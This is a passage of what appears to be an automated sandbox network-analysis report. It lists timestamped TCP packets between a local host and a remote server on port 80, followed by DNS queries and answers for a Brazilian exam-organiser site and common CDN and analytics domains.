May 10, 2024 09:20:58.648236036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648241043 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648247957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648260117 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648267984 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648272038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648283958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648292065 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648296118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648305893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648318052 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648322105 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648322105 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648330927 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648343086 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648354053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648366928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648367882 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648379087 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648386002 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648394108 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648405075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648412943 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648416042 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648428917 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648437977 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648441076 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648447037 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648452997 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648464918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648475885 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648487091 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648493052 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648493052 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648499012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648510933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648520947 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648521900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648535967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648545027 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648546934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648559093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648569107 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648570061 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648585081 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648591995 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648596048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648607969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648617029 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648617983 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648629904 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648641109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648648024 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648652077 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648664951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648669958 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648679972 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648703098 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648724079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648736000 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648746014 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648746967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648760080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648770094 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648771048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648782969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648793936 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648794889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648809910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648822069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648833036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648843050 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648847103 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648854971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648861885 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648865938 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648878098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648885965 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648890018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648900986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648910999 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648920059 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648922920 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648936033 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648943901 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648947954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648956060 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648958921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648971081 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648979902 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648983002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648994923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649004936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649015903 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649027109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649027109 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649040937 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649049044 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649053097 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649065971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649076939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649085045 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649087906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649099112 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649100065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649112940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649120092 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649125099 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649137020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649147987 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649156094 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649158955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649171114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649182081 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649192095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649198055 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649199009 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649204016 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649216890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649223089 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649228096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649239063 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649247885 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649252892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649266005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649272919 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649280071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649286985 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649291992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649302959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649313927 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649323940 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649324894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649338007 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649344921 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649348974 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649359941 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649370909 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649377108 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649377108 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649384975 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649395943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649406910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649418116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649427891 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649437904 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649439096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649451971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649458885 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649482965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649494886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649504900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649506092 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649518967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649530888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649543047 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649547100 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649560928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649565935 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649573088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649583101 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649586916 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649595976 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649600029 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649611950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649620056 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649624109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649636030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649646997 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649655104 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649657965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649671078 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649679899 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649682999 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649694920 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649704933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649714947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649723053 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649723053 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649728060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649740934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649746895 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649753094 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649763107 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649765015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649779081 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649790049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649797916 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649801970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649812937 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649822950 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649825096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649836063 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649842978 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649854898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649862051 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649868965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649879932 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649890900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649900913 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649903059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649914980 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649915934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649928093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649935007 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649940014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649951935 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649964094 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649975061 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649985075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.649986982 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.649997950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650007963 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.650010109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650013924 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.650022984 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650032997 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.650037050 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650048971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650060892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650068045 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.650072098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650084019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650091887 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.650094986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650104046 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.650106907 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650119066 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650129080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650140047 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650141954 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.650151968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650157928 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.650165081 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650176048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650183916 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.650187016 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650198936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650206089 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.650209904 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650218010 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.650222063 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650233030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650244951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650250912 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.650254965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650264978 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.650266886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650279045 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650286913 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.650290012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650301933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650312901 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650322914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650327921 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.650335073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650343895 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.650346994 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650355101 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.650358915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650371075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650377989 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.650382042 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650393009 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650403023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650414944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650420904 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.650427103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650438070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.650449038 CEST	80	49754	34.68.151.162	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 10, 2024 09:20:54.535898924 CEST	192.168.2.4	1.1.1.1	0x73fb	Standard query (0)	www.quadrix.org.br	A (IP address)	IN (0x0001)	false
May 10, 2024 09:20:54.536360025 CEST	192.168.2.4	1.1.1.1	0xb3a	Standard query (0)	www.quadrix.org.br	65	IN (0x0001)	false
May 10, 2024 09:20:56.499608040 CEST	192.168.2.4	1.1.1.1	0xabff	Standard query (0)	vlibras.gov.br	A (IP address)	IN (0x0001)	false
May 10, 2024 09:20:56.500093937 CEST	192.168.2.4	1.1.1.1	0x313	Standard query (0)	vlibras.gov.br	65	IN (0x0001)	false
May 10, 2024 09:20:56.501689911 CEST	192.168.2.4	1.1.1.1	0xe598	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
May 10, 2024 09:20:56.502140999 CEST	192.168.2.4	1.1.1.1	0xdd56	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
May 10, 2024 09:20:56.695271015 CEST	192.168.2.4	1.1.1.1	0x77b4	Standard query (0)	www.quadrix.org.br	A (IP address)	IN (0x0001)	false
May 10, 2024 09:20:56.695569992 CEST	192.168.2.4	1.1.1.1	0x7bdc	Standard query (0)	www.quadrix.org.br	65	IN (0x0001)	false
May 10, 2024 09:20:58.562844038 CEST	192.168.2.4	1.1.1.1	0x4571	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 10, 2024 09:20:58.562999964 CEST	192.168.2.4	1.1.1.1	0x98a1	Standard query (0)	www.google.com	65	IN (0x0001)	false
May 10, 2024 09:20:58.772699118 CEST	192.168.2.4	1.1.1.1	0xa8ad	Standard query (0)	connect.facebook.net	A (IP address)	IN (0x0001)	false
May 10, 2024 09:20:58.773245096 CEST	192.168.2.4	1.1.1.1	0xc442	Standard query (0)	www.clarity.ms	A (IP address)	IN (0x0001)	false
May 10, 2024 09:20:58.773245096 CEST	192.168.2.4	1.1.1.1	0x4f80	Standard query (0)	connect.facebook.net	65	IN (0x0001)	false
May 10, 2024 09:20:58.774056911 CEST	192.168.2.4	1.1.1.1	0x6faf	Standard query (0)	www.clarity.ms	65	IN (0x0001)	false
May 10, 2024 09:20:59.771538019 CEST	192.168.2.4	1.1.1.1	0xd6e6	Standard query (0)	googleads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
May 10, 2024 09:20:59.771697044 CEST	192.168.2.4	1.1.1.1	0xa135	Standard query (0)	googleads.g.doubleclick.net	65	IN (0x0001)	false
May 10, 2024 09:20:59.772084951 CEST	192.168.2.4	1.1.1.1	0x7984	Standard query (0)	td.doubleclick.net	A (IP address)	IN (0x0001)	false
May 10, 2024 09:20:59.772212029 CEST	192.168.2.4	1.1.1.1	0x42c2	Standard query (0)	td.doubleclick.net	65	IN (0x0001)	false
May 10, 2024 09:21:00.402973890 CEST	192.168.2.4	1.1.1.1	0x46c6	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 10, 2024 09:21:00.403297901 CEST	192.168.2.4	1.1.1.1	0xa53c	Standard query (0)	www.google.com	65	IN (0x0001)	false
May 10, 2024 09:21:00.664249897 CEST	192.168.2.4	1.1.1.1	0xc3f3	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
May 10, 2024 09:21:00.664361000 CEST	192.168.2.4	1.1.1.1	0xc145	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
May 10, 2024 09:21:00.667534113 CEST	192.168.2.4	1.1.1.1	0xfa6e	Standard query (0)	v.clarity.ms	A (IP address)	IN (0x0001)	false
May 10, 2024 09:21:00.667823076 CEST	192.168.2.4	1.1.1.1	0x76db	Standard query (0)	v.clarity.ms	65	IN (0x0001)	false
May 10, 2024 09:21:01.014988899 CEST	192.168.2.4	1.1.1.1	0xaa5e	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 10, 2024 09:21:01.015131950 CEST	192.168.2.4	1.1.1.1	0x1493	Standard query (0)	www.google.com	65	IN (0x0001)	false
May 10, 2024 09:21:01.450855970 CEST	192.168.2.4	1.1.1.1	0x7a1b	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
May 10, 2024 09:21:01.451028109 CEST	192.168.2.4	1.1.1.1	0x654	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
May 10, 2024 09:21:02.026936054 CEST	192.168.2.4	1.1.1.1	0x83d7	Standard query (0)	c.clarity.ms	A (IP address)	IN (0x0001)	false
May 10, 2024 09:21:02.027077913 CEST	192.168.2.4	1.1.1.1	0x9b30	Standard query (0)	c.clarity.ms	65	IN (0x0001)	false
May 10, 2024 09:21:04.433013916 CEST	192.168.2.4	1.1.1.1	0xd2a3	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
May 10, 2024 09:21:04.433242083 CEST	192.168.2.4	1.1.1.1	0xf4a0	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
May 10, 2024 09:21:04.822108030 CEST	192.168.2.4	1.1.1.1	0x1e5a	Standard query (0)	c.clarity.ms	A (IP address)	IN (0x0001)	false
May 10, 2024 09:21:04.822247982 CEST	192.168.2.4	1.1.1.1	0x2184	Standard query (0)	c.clarity.ms	65	IN (0x0001)	false
May 10, 2024 09:22:45.501590014 CEST	192.168.2.4	1.1.1.1	0xbade	Standard query (0)	v.clarity.ms	A (IP address)	IN (0x0001)	false
May 10, 2024 09:22:45.501744032 CEST	192.168.2.4	1.1.1.1	0x682b	Standard query (0)	v.clarity.ms	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 10, 2024 09:20:54.880825996 CEST	1.1.1.1	192.168.2.4	0xb3a	No error (0)	www.quadrix.org.br			65	IN (0x0001)	false
May 10, 2024 09:20:54.905919075 CEST	1.1.1.1	192.168.2.4	0x73fb	No error (0)	www.quadrix.org.br		172.66.43.171	A (IP address)	IN (0x0001)	false
May 10, 2024 09:20:54.905919075 CEST	1.1.1.1	192.168.2.4	0x73fb	No error (0)	www.quadrix.org.br		172.66.40.85	A (IP address)	IN (0x0001)	false
May 10, 2024 09:20:56.611257076 CEST	1.1.1.1	192.168.2.4	0xe598	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 10, 2024 09:20:56.611613989 CEST	1.1.1.1	192.168.2.4	0xdd56	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
